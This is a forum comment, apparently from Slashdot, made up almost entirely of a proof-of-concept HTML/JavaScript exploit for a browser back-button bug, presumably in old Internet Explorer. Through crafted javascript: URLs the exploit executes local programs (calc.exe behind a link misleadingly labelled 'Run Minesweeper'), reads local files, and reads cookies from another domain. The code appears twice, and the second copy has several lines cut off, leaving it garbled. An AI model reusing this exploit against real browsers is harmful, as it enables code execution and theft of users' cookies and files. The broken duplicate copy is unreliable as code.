Comment Re:This is a major one ,, user interaction not nee (Score 1) 756
sorry forgot the extrans correct page attached
<html>
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/system 32/calc.exe')">
Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/winnt/system 32/calc.exe')">
Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')"& gt;
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.com / )">
Read Google cookie</a>
<script>
// badUrl = "http://www.nonexistingdomain.se"; // Use if not XP
badUrl = "about:<html><body onload=javascript:history.back() ><form><input type=button onclick=javascript:history.back()> </form></body></html>";
function execFile(file){
alert (badUrl);
s = '<object classid=CLSID:11111111-1111-1111-1111-111111111111 ';
s+= 'CODEBASE='+file+'></OBJECT>';
backBug(badUrl,s);
}
function readFile(file){
s = '<iframe name=i src='+file+' style=display:none onload=';
s+= 'alert(i.document.body.innerText)></iframe&g t;';
backBug(badUrl,s);
}
function readCookie(url){
s = '<script>alert(document.cookie);close();< "+"/script>';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")' )";
s+= ";history.back();} else '<script>location=\""+url
s+= "\";document.title=\""+page+"\";<"+"/script> ';";
location = s;
}
</script>
</html>
<html>
<h1>Press link and then the backbutton to trigger script.</h1>
<a href="javascript:execFile('file:///c:/winnt/syste
Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)</a><br>
<a href="javascript:execFile('file:///c:/winnt/syste
Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)</a><br>
<a href="javascript:readFile('file:///c:/test.txt')"
Read c:\test.txt (needs to be created)</a><br>
<a href="javascript:readCookie('http://www.google.co
Read Google cookie</a>
<script>
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "about:<html><body onload=javascript:history.back() ><form><input type=button onclick=javascript:history.back()> </form></body></html>";
function execFile(file){
alert (badUrl);
s = '<object classid=CLSID:11111111-1111-1111-1111-11111111111
s+= 'CODEBASE='+file+'></OBJECT>';
backBug(badUrl,s);
}
function readFile(file){
s = '<iframe name=i src='+file+' style=display:none onload=';
s+= 'alert(i.document.body.innerText)></iframe&g t;';
backBug(badUrl,s);
}
function readCookie(url){
s = '<script>alert(document.cookie);close();< "+"/script>';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else '<script>location=\""+url
s+= "\";document.title=\""+page+"\";<"+"/script> ';";
location = s;
}
</script>
</html>
